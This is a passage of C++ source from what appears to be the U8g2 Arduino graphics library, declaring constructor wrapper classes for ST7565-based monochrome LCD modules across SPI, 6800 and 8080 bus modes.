u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_EA_DOGM128_1_6800 : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM128_1_8080 : public U8G2 { public: U8G2_ST7565_EA_DOGM128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6063_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LM6063_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6063_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6063_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LM6063_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6063_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LM6063_1_6800 : public U8G2 { public: U8G2_ST7565_LM6063_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6063_1_8080 : public U8G2 { public: U8G2_ST7565_LM6063_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_64128N_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_64128N_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_64128N_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_64128N_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_64128N_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_64128N_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_64128N_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_64128N_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_64128N_1_6800 : public U8G2 { public: U8G2_ST7565_64128N_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_64128N_1_8080 : public U8G2 { public: U8G2_ST7565_64128N_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_6800 : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ZOLEN_128X64_1_8080 : public U8G2 { public: U8G2_ST7565_ZOLEN_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6059_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LM6059_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6059_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LM6059_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LM6059_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LM6059_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LM6059_1_6800 : public U8G2 { public: U8G2_ST7565_LM6059_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LM6059_1_8080 : public U8G2 { public: U8G2_ST7565_LM6059_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lm6059_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_KS0713_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_KS0713_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_KS0713_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_KS0713_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_KS0713_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_KS0713_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_KS0713_1_6800 : public U8G2 { public: U8G2_ST7565_KS0713_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_KS0713_1_8080 : public U8G2 { public: U8G2_ST7565_KS0713_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ks0713_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LX12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_LX12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LX12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_LX12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_LX12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_LX12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_LX12864_1_6800 : public U8G2 { public: U8G2_ST7565_LX12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_LX12864_1_8080 : public U8G2 { public: U8G2_ST7565_LX12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_lx12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ERC12864_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ERC12864_1_6800 : public U8G2 { public: U8G2_ST7565_ERC12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_1_8080 : public U8G2 { public: U8G2_ST7565_ERC12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_erc12864_alt_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_ERC12864_ALT_1_6800 : public U8G2 { public: U8G2_ST7565_ERC12864_ALT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 